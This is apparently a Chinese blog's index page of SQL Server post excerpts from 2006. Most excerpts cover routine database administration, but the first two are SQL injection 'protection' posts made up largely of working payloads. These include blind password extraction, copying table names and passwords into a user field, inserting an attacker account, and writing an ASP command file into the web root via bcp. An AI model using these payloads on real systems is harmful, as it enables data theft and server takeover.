博文

SQL Server 2000 注入防护大全(二)(2006-06-06 09:58:00)

摘要:传统查询构造:select * FROM news where id=... AND topic=... AND .....admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'select 123;--;use master;--:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。'and 1<>(select count(email) from [user]);--;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--   说明:  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。  通过查看ffff的用户资料可得第一个用表叫ad  然后根据表名ad得到这个表的IDffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--   象下面这样就可以得到第二个表的名字了ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--ffff';update [users] set email=(select top 1 pwd from password where id=2)where name='ffff';-- ffff';update [users] set email=(select top 1 ......

阅读全文(2231) | 评论:0

SQL Server 2000 注入防护大全(一)(2006-06-06 09:57:00)

摘要:  SQL Server 2000 注入防护大全(一) Sql注入早源于'or'1'='1 最重要的表名: select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses   最重要的一些用户名(默认sql数据库中存在着的) publicdboguest(一般禁止,或者没权限)db_sercurityadminab_dlladmin   一些默认扩展 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwritexp_availablemedia 驱动器相关xp_dirtree 目录xp_enumdsn ODBC连接xp_loginconfig 服务器安全模式信息xp_makecab 创建压缩卷xp_ntsec_enumdomains domain信息xp_terminate_process 终端进程,给出一个PID 例如: sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'exec xp_webserversp_dropextendedproc 'xp_webserver'bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar' group by users.id having 1=1-' group by users.id, users.username, users.password, users.privs having 1=1-'; insert into users values( 666, 'attacker', 'foobar', 0xffff )- union select TOP 1 COLUMN_NAME FROM ......

阅读全文(1916) | 评论:0

不同库表间(含字段)比较的SQL代码(2006-06-06 09:55:00)

摘要:use accdb1 --为zy旧库,Accdb为液晶版标准库,已知Accdb库比Accdb1库多出表和字段,求多出的表和字段SELECT accdb.table_name AS accdb_table_name,       accdb.columns_name AS accdb_columns_name,       accdb1.table_name AS accdb1_table_name,       accdb1.columns_name AS accdb1_columns_nameFROM (SELECT Accdb.dbo.sysobjects.name AS table_name,               Accdb.dbo.syscolumns.name AS columns_name        FROM Accdb.dbo.syscolumns INNER JOIN              Accdb.dbo.sysobjects ON               Accdb.dbo.syscolumns.id = Accdb.dbo.sysobjects.id        WHERE (NOT (Accdb.dbo.syscolumns.name LIKE '@%')) AND               (Accdb.dbo.syso......

阅读全文(2376) | 评论:0

去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可(2006-06-06 09:54:00)

摘要:  去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可见字符        --作用:去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可见字符--注意:此处只去掉前后的不可见字符,不包括中间的字符,而且没有区分中文--有兴趣的可以自己加个判别的中文,其实也很简单的,就是限定一个字符的范围就可以了--日期:2004-11-04--作者:ICERIVER--注意:使用前请指定对应要修改的表名,并且需要在对应数据库下执行;SET NOCOUNT ON   DECLARE @TblName  VARCHAR(100)DECLARE @UpdateString NVARCHAR(1000)DECLARE @SelectString NVARCHAR(1000)DECLARE @COlName VARCHAR(100)DECLARE @COUNT  INT   SET @TblName = 'YOURTABLENAME'--指定想要修改的表名   --定义游标取出指定表内的数据类型是VARCHAR,char,nVARCHAR的字段名称DECLARE cur_ColName  CURSORFORSELECT col.nameFROM syscolumns AS col inner join sysobjects  AS obj  ON col.ID = obj.ID INNER join systypes  AS typ  ON col.xtype = typ.xtypeWHERE obj.xtype ='U'AND obj.name = @TblNameAND typ.name IN ('VARCHAR','CHAR','NVARCHAR','NCHAR')FOR READ ONLY--打开游标OPEN cur_ColName   FETCH NEXT FROM cur_ColName INTO @ColNameIF @@FETCH_STATUS<>0 BEGIN ......

阅读全文(1861) | 评论:0

SQL Server中各个系统表的作用(2006-06-06 09:53:00)

摘要:sysaltfiles            主数据库               保存数据库的文件 syscharsets        主数据库               字符集与排序顺序 sysconfigures     主数据库               配置选项 syscurconfigs     主数据库               当前配置选项 sysdatabases    主数据库               服务器中的数据库 syslanguages    主数据库               语言 syslogins            主数据库          ......

阅读全文(1781) | 评论:0

浅谈几个SQL的日志概念 (2006-06-06 09:51:00)

摘要:浅谈几个SQL的日志概念今天抽出一点时间解释几个关于SQL日志的概念,他们也经常使初学者望而止步,反正计算机的术语都是很抽象的,所以第一感觉就是头疼,然后然后几次后就没感觉了.以下有些是从书上摘抄的,有的是从网上找的算是借花献佛吧!!物理日志文件:    这个比较好理解,实实在在的东西,数据库目录下面的.ldf文件就是,有些人喜欢改后缀,感觉不大好,数据库的事务日志记录就在这里面虚拟日志:    相信多数人有这个感觉,虚拟这个字眼总是神秘的代名词,虚拟个饭岛爱我喜欢,但虚拟日志,虚拟内存,虚拟。。。。,看了就讨厌。解释应该是这样的,对于一个或多个连续的物理日志文件,SQL SERVER在这些文件的内部又划分成了多个小的文件,称为虚拟日志文件,他是日志文件收缩和日志截断的最小单位,比如物理日志文件是400M,内部划分了4个100M的虚拟文件,收缩时你得到的是300M,200M,不可能得到239M,对于一个物理文件,会划分成多少个虚拟文件,这个由SQL自己维护,唯一可以人工干预的是指定较大的物理日志文件,并指定较大的增长比例,这样可能虚拟文件的块头会大点,数量会少点,系统的维护开销会低一点逻辑日志:    不要头晕,硬着头皮看吧!!!感觉这个应该是数据库事务日志的真实写照,物理日志文件好比是一个容器,里面容纳的是日志记录,这些记录就称为逻辑日志,从物理日志文件的起点开始,逻辑日志顺序的生成,记录下数据库里发生的每个事务,这些事务被打上一个标签,LSN,顺序的排列下来,这样逻辑日志就在物理日志文件内慢慢的成长,直到充满了他,这个时候物理日志文件就会自动添加新的空间,以继续前面的步骤,这种情况是最直接的一种(从来不截断日志,基本上就是这样的),但事实上往往是复杂的多检测点(checkpoint)和恢复周期(recovery interval):    checkpoint不是用于检查数据是否完整,页面连接是否正确的,他是由系统维护的一个进程(你也可以手工的执行),用于将高速缓存里的脏页刷新到磁盘,两者的配合算是惟妙惟肖,当缓存中的脏页积累到一定的数量,SQL估计演算这些脏页要花的时间快要接近设定的recovery interval(分钟)时,系统就会产生一个checkpoint,所以checkp......

阅读全文(1906) | 评论:0

SQL Server]管理常用SQL语句(2006-06-06 09:50:00)

摘要:1. 查看数据库的版本           select @@version   2. 查看数据库所在机器操作系统参数          exec master..xp_msver   3. 查看数据库启动的参数           sp_configure   4. 查看数据库启动时间           select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1   查看数据库服务器名和实例名   print 'Server Name...............:' + convert(varchar(30),@@SERVERNAME)           print 'Instance..................:' + convert(varchar(30),@@SERVICENAME)             5. 查看所有数据库名称及大小       sp_helpdb   重命名数据库用的SQL   sp_renamedb 'old_dbname', 'new_dbname'   6. 查看所有数据库用户登录信息       sp_helplogins   查看所有数据库用户所属的角色信息          sp_helpsrvrolemember   修复迁移服务器时孤立用户时,可以用的fix_orphan_user脚本或者LoneUser过程   更改某......

阅读全文(2616) | 评论:0

正则表达式之道(2006-06-05 14:25:00)

摘要:译者按:原文因为年代久远,文中很多链接早已过期(主要是关于vi、sed等工具的介绍和手册),本译文中已将此类链接删除,如需检查这些链接可以查看上面链接的原文。除此之外基本照原文直译,括号中有“译者按”的部分是译者补充的说明。如有内容方面的问题请直接和Steve Mansor联系,当然,如果你只写中文,也可以和我联系。 目 录 什么是正则表达式 范例    简单    中级(神奇的咒语)    困难(不可思议的象形文字)不同工具中的正则表达式 什么是正则表达式一个正则表达式,就是用某种模式去匹配一类字符串的一个公式。很多人因为它们看上去比较古怪而且复杂所以不敢去使用——很不幸,这篇文章也不能够改变这一点,不过,经过一点点练习之后我就开始觉得这些复杂的表达式其实写起来还是相当简单的,而且,一旦你弄懂它们,你就能把数小时辛苦而且易错的文本处理工作压缩在几分钟(甚至几秒钟)内完成。正则表达式被各种文本编辑软件、类库(例如Rogue Wave的tools.h++)、脚本工具(像awk/grep/sed)广泛的支持,而且像Microsoft的Visual C++这种交互式IDE也开始支持它了。 我们将在如下的章节中利用一些例子来解释正则表达式的用法,绝大部分的例子是基于vi中的文本替换命令和grep文件搜索命令来书写的,不过它们都是比较典型的例子,其中的概念可以在sed、awk、perl和其他支持正则表达式的编程语言中使用。你可以看看不同工具中的正则表达式这一节,其中有一些在别的工具中使用正则表达式的例子。还有一个关于vi中文本替换命令(s)的简单说明附在文后供参考。 正则表达式基础正则表达式由一些普通字符和一些元字符(metacharacters)组成。普通字符包括大小写的字母和数字,而元字符则具有特殊的含义,我们下面会给予解释。 在最简单的情况下,一个正则表达式看上去就是一个普通的查找串。例如,正则表达式"testing"中没有包含任何元字符,,它可以匹配"testing"和"123testing"等字符串,但是不能匹配"Testing"。 要想真正的用好正则表达式,正确的理解元字符是最重要的事情。下表列出了所有的元字符和对它们的一个简短的描述。 元字符 ......

阅读全文(2102) | 评论:0

用C#创建Windows Service (2006-06-02 09:34:00)

摘要: CSDNBlog 我的首页 联系作者 聚合 搜索 登录 Blog统计 原创 - 48 翻译 - 0 转贴 - 1 点击 - 12398 评论 - 60 Trackbacks -4 公告原来自己可以更努力一点 knight94cn@etang.com 文章 编程随想(RSS) 高级编程(c#)(RSS) 新手入门(c#)(RSS) 收藏 相册 网址推荐 Code Project FAQ Asp.Net FAQ WinForm 存档 2006年05月(11) 2006年04月(8) 2006年03月(30) 最近评论 yjb5566:很不错 如果有数据库,像SQL Serve连接的,就更好了 C#初学者:对不起大大,我写了下还是没有成功... 现在怎样把写的代码改成能向你生成树那样的代码?还请教教啊谢谢: StreamWriter objWriter=new StreamWriter("C:\\TreeFile.men", false, Encoding.Default); //遍历TreeView System.Text.St…… knight94:As the upper code, there is no return value in your function named "ImportBySinglePackage". By the way, you should check the invoke's return value in your "ImportPackages&qu…… DisonWorld:Hello Knight94, I have tried the Invoke, but the ui seem to be dead, and the import order seems to wrong. For example: PackageA: no files to import PackageB: need to import fil…… knight94:to DisonWorld you can reprace "BeginInvoke" method with "Invoke" met......

阅读全文(3681) | 评论:0

.Net下的数据备份和还原(2006-05-31 17:01:00)

摘要: 数据库:SQL Server  ;引用SQLDMO◆数据备份 : /// <summary>  /// 备份数据库  /// </summary>  private void btnBackUp_Click(object sender, System.EventArgs e)  {   this.Cursor = Cursors.WaitCursor;   this.label1.Text = "  正在进行档案库的数据备份,这可能需要几秒到几十的时间,请稍候...";   this.label1.Visible = true;   this.label1.Refresh();   this.PBar1.Visible = true;   //------------------------------------------------------------------------------------       string selfName = “D:\NorthwindBak“;   string deviceName = “NorthwindBak“;   string remark = "备份测试";      //◆数据备份:   SQLDMO.Backup oBackup = new SQLDMO.BackupClass();   SQLDMO.SQLServer oSQLServer = new SQLDMO.SQLServerClass();   oBackup.Action = 0 ;    oBackup.......

阅读全文(2555) | 评论:0